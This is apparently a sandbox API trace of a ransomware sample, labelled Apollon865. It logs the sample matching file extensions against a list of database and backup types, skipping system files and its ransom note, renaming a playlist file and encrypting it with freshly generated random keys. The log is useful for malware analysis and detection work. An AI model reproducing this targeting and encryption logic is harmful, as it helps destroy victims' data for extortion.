	[0061.455] lstrlenW (lpString="accdb") returned 5
	[0061.455] lstrcmpiW (lpString1="t.wpl", lpString2="accdb") returned 1
	[0061.455] lstrlenW (lpString="accdc") returned 5
	[0061.455] lstrcmpiW (lpString1="t.wpl", lpString2="accdc") returned 1
	[0061.455] lstrlenW (lpString="accde") returned 5
	[0061.455] lstrcmpiW (lpString1="t.wpl", lpString2="accde") returned 1
	[0061.455] lstrlenW (lpString="accdr") returned 5
	[0061.455] lstrcmpiW (lpString1="t.wpl", lpString2="accdr") returned 1
	[0061.455] lstrlenW (lpString="accdt") returned 5
	[0061.456] lstrcmpiW (lpString1="t.wpl", lpString2="accdt") returned 1
	[0061.456] lstrlenW (lpString="accdw") returned 5
	[0061.456] lstrcmpiW (lpString1="t.wpl", lpString2="accdw") returned 1
	[0061.456] lstrlenW (lpString="accft") returned 5
	[0061.456] lstrcmpiW (lpString1="t.wpl", lpString2="accft") returned 1
	[0061.456] lstrlenW (lpString="adb") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.456] lstrlenW (lpString="adb") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.456] lstrlenW (lpString="ade") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.456] lstrlenW (lpString="adf") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.456] lstrlenW (lpString="adn") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.456] lstrlenW (lpString="adp") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.456] lstrlenW (lpString="alf") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.456] lstrlenW (lpString="ask") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.456] lstrlenW (lpString="btr") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.456] lstrlenW (lpString="cat") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.456] lstrlenW (lpString="cdb") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.456] lstrlenW (lpString="ckp") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.456] lstrlenW (lpString="cma") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.456] lstrlenW (lpString="cpd") returned 3
	[0061.456] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.456] lstrlenW (lpString="dacpac") returned 6
	[0061.457] lstrcmpiW (lpString1="st.wpl", lpString2="dacpac") returned 1
	[0061.457] lstrlenW (lpString="dad") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.457] lstrlenW (lpString="dadiagrams") returned 10
	[0061.457] lstrcmpiW (lpString1="e_most.wpl", lpString2="dadiagrams") returned 1
	[0061.457] lstrlenW (lpString="daschema") returned 8
	[0061.457] lstrcmpiW (lpString1="most.wpl", lpString2="daschema") returned 1
	[0061.457] lstrlenW (lpString="db-journal") returned 10
	[0061.457] lstrcmpiW (lpString1="e_most.wpl", lpString2="db-journal") returned 1
	[0061.457] lstrlenW (lpString="db-shm") returned 6
	[0061.457] lstrcmpiW (lpString1="st.wpl", lpString2="db-shm") returned 1
	[0061.457] lstrlenW (lpString="db-wal") returned 6
	[0061.457] lstrcmpiW (lpString1="st.wpl", lpString2="db-wal") returned 1
	[0061.457] lstrlenW (lpString="dbc") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.457] lstrlenW (lpString="dbs") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.457] lstrlenW (lpString="dbt") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.457] lstrlenW (lpString="dbv") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.457] lstrlenW (lpString="dbx") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.457] lstrlenW (lpString="dcb") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.457] lstrlenW (lpString="dct") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.457] lstrlenW (lpString="dcx") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.457] lstrlenW (lpString="ddl") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.457] lstrlenW (lpString="dlis") returned 4
	[0061.457] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.457] lstrlenW (lpString="dp1") returned 3
	[0061.457] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.458] lstrlenW (lpString="dqy") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.458] lstrlenW (lpString="dsk") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.458] lstrlenW (lpString="dsn") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.458] lstrlenW (lpString="dtsx") returned 4
	[0061.458] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.458] lstrlenW (lpString="dxl") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.458] lstrlenW (lpString="eco") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.458] lstrlenW (lpString="ecx") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.458] lstrlenW (lpString="edb") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.458] lstrlenW (lpString="epim") returned 4
	[0061.458] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.458] lstrlenW (lpString="fcd") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.458] lstrlenW (lpString="fdb") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.458] lstrlenW (lpString="fic") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.458] lstrlenW (lpString="flexolibrary") returned 12
	[0061.458] lstrcmpiW (lpString1="the_most.wpl", lpString2="flexolibrary") returned 1
	[0061.458] lstrlenW (lpString="fm5") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.458] lstrlenW (lpString="fmp") returned 3
	[0061.458] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.458] lstrlenW (lpString="fmp12") returned 5
	[0061.458] lstrcmpiW (lpString1="t.wpl", lpString2="fmp12") returned 1
	[0061.458] lstrlenW (lpString="fmpsl") returned 5
	[0061.458] lstrcmpiW (lpString1="t.wpl", lpString2="fmpsl") returned 1
	[0061.459] lstrlenW (lpString="fol") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.459] lstrlenW (lpString="fp3") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.459] lstrlenW (lpString="fp4") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.459] lstrlenW (lpString="fp5") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.459] lstrlenW (lpString="fp7") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.459] lstrlenW (lpString="fpt") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.459] lstrlenW (lpString="frm") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.459] lstrlenW (lpString="gdb") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.459] lstrlenW (lpString="gdb") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.459] lstrlenW (lpString="grdb") returned 4
	[0061.459] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.459] lstrlenW (lpString="gwi") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.459] lstrlenW (lpString="hdb") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.459] lstrlenW (lpString="his") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.459] lstrlenW (lpString="ib") returned 2
	[0061.459] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.459] lstrlenW (lpString="idb") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.459] lstrlenW (lpString="ihx") returned 3
	[0061.459] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.459] lstrlenW (lpString="itdb") returned 4
	[0061.459] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.460] lstrlenW (lpString="itw") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.460] lstrlenW (lpString="jet") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.460] lstrlenW (lpString="jtx") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.460] lstrlenW (lpString="kdb") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.460] lstrlenW (lpString="kexi") returned 4
	[0061.460] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.460] lstrlenW (lpString="kexic") returned 5
	[0061.460] lstrcmpiW (lpString1="t.wpl", lpString2="kexic") returned 1
	[0061.460] lstrlenW (lpString="kexis") returned 5
	[0061.460] lstrcmpiW (lpString1="t.wpl", lpString2="kexis") returned 1
	[0061.460] lstrlenW (lpString="lgc") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.460] lstrlenW (lpString="lwx") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.460] lstrlenW (lpString="maf") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.460] lstrlenW (lpString="maq") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.460] lstrlenW (lpString="mar") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.460] lstrlenW (lpString="marshal") returned 7
	[0061.460] lstrcmpiW (lpString1="ost.wpl", lpString2="marshal") returned 1
	[0061.460] lstrlenW (lpString="mas") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.460] lstrlenW (lpString="mav") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.460] lstrlenW (lpString="maw") returned 3
	[0061.460] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.460] lstrlenW (lpString="mdbhtml") returned 7
	[0061.460] lstrcmpiW (lpString1="ost.wpl", lpString2="mdbhtml") returned 1
	[0061.461] lstrlenW (lpString="mdn") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.461] lstrlenW (lpString="mdt") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.461] lstrlenW (lpString="mfd") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.461] lstrlenW (lpString="mpd") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.461] lstrlenW (lpString="mrg") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.461] lstrlenW (lpString="mud") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.461] lstrlenW (lpString="mwb") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.461] lstrlenW (lpString="myd") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.461] lstrlenW (lpString="ndf") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.461] lstrlenW (lpString="nnt") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.461] lstrlenW (lpString="nrmlib") returned 6
	[0061.461] lstrcmpiW (lpString1="st.wpl", lpString2="nrmlib") returned 1
	[0061.461] lstrlenW (lpString="ns2") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.461] lstrlenW (lpString="ns3") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.461] lstrlenW (lpString="ns4") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.461] lstrlenW (lpString="nsf") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.461] lstrlenW (lpString="nv") returned 2
	[0061.461] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.461] lstrlenW (lpString="nv2") returned 3
	[0061.461] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.461] lstrlenW (lpString="nwdb") returned 4
	[0061.462] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.462] lstrlenW (lpString="nyf") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.462] lstrlenW (lpString="odb") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.462] lstrlenW (lpString="odb") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.462] lstrlenW (lpString="oqy") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.462] lstrlenW (lpString="ora") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.462] lstrlenW (lpString="orx") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.462] lstrlenW (lpString="owc") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.462] lstrlenW (lpString="p96") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.462] lstrlenW (lpString="p97") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.462] lstrlenW (lpString="pan") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.462] lstrlenW (lpString="pdb") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.462] lstrlenW (lpString="pdm") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.462] lstrlenW (lpString="pnz") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.462] lstrlenW (lpString="qry") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.462] lstrlenW (lpString="qvd") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.462] lstrlenW (lpString="rbf") returned 3
	[0061.462] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.462] lstrlenW (lpString="rctd") returned 4
	[0061.463] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.463] lstrlenW (lpString="rod") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.463] lstrlenW (lpString="rodx") returned 4
	[0061.463] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.463] lstrlenW (lpString="rpd") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.463] lstrlenW (lpString="rsd") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.463] lstrlenW (lpString="sas7bdat") returned 8
	[0061.463] lstrcmpiW (lpString1="most.wpl", lpString2="sas7bdat") returned -1
	[0061.463] lstrlenW (lpString="sbf") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.463] lstrlenW (lpString="scx") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.463] lstrlenW (lpString="sdb") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.463] lstrlenW (lpString="sdc") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.463] lstrlenW (lpString="sdf") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.463] lstrlenW (lpString="sis") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.463] lstrlenW (lpString="spq") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.463] lstrlenW (lpString="te") returned 2
	[0061.463] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.463] lstrlenW (lpString="teacher") returned 7
	[0061.463] lstrcmpiW (lpString1="ost.wpl", lpString2="teacher") returned -1
	[0061.463] lstrlenW (lpString="tmd") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.463] lstrlenW (lpString="tps") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.463] lstrlenW (lpString="trc") returned 3
	[0061.463] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.464] lstrlenW (lpString="trc") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.464] lstrlenW (lpString="trm") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.464] lstrlenW (lpString="udb") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.464] lstrlenW (lpString="udl") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.464] lstrlenW (lpString="usr") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.464] lstrlenW (lpString="v12") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.464] lstrlenW (lpString="vis") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.464] lstrlenW (lpString="vpd") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.464] lstrlenW (lpString="vvv") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.464] lstrlenW (lpString="wdb") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.464] lstrlenW (lpString="wmdb") returned 4
	[0061.464] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.464] lstrlenW (lpString="wrk") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.464] lstrlenW (lpString="xdb") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.464] lstrlenW (lpString="xld") returned 3
	[0061.464] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.464] lstrlenW (lpString="xmlff") returned 5
	[0061.464] lstrcmpiW (lpString1="t.wpl", lpString2="xmlff") returned -1
	[0061.464] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.Apollon865") returned 123
	[0061.464] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.470] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.470] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1025) returned 1
	[0061.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.471] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0061.471] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.471] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.471] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0xc0
	[0061.473] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000
	[0061.475] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0061.479] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.479] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0061.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0061.479] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.479] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.480] CloseHandle (hObject=0xc0) returned 1
	[0061.480] CloseHandle (hObject=0x14c) returned 1
	[0061.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.500] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".") returned 1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="..") returned 1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="windows") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="bootmgr") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="temp") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="pagefile.sys") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="boot") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="ids.txt") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="ntuser.dat") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="perflogs") returned -1
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2="MSBuild") returned -1
	[0061.500] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0061.500] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl") returned 112
	[0061.500] lstrcpyW (in: lpString1=0x119e6b0, lpString2="10_All_Music.wpl" | out: lpString1="10_All_Music.wpl") returned="10_All_Music.wpl"
	[0061.500] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0061.500] lstrlenW (lpString="Apollon865") returned 10
	[0061.500] lstrcmpiW (lpString1="_Music.wpl", lpString2="Apollon865") returned -1
	[0061.500] lstrlenW (lpString=".dll") returned 4
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".dll") returned 1
	[0061.500] lstrlenW (lpString=".lnk") returned 4
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".lnk") returned 1
	[0061.500] lstrlenW (lpString=".ini") returned 4
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".ini") returned 1
	[0061.500] lstrlenW (lpString=".sys") returned 4
	[0061.500] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".sys") returned 1
	[0061.500] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0061.500] lstrlenW (lpString="bak") returned 3
	[0061.500] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.500] lstrlenW (lpString="ba_") returned 3
	[0061.500] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.501] lstrlenW (lpString="dbb") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.501] lstrlenW (lpString="vmdk") returned 4
	[0061.501] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.501] lstrlenW (lpString="rar") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.501] lstrlenW (lpString="zip") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.501] lstrlenW (lpString="tgz") returned 3
	[0061.501] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.501] lstrlenW (lpString="vbox") returned 4
	[0061.501] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.501] lstrlenW (lpString="vdi") returned 3
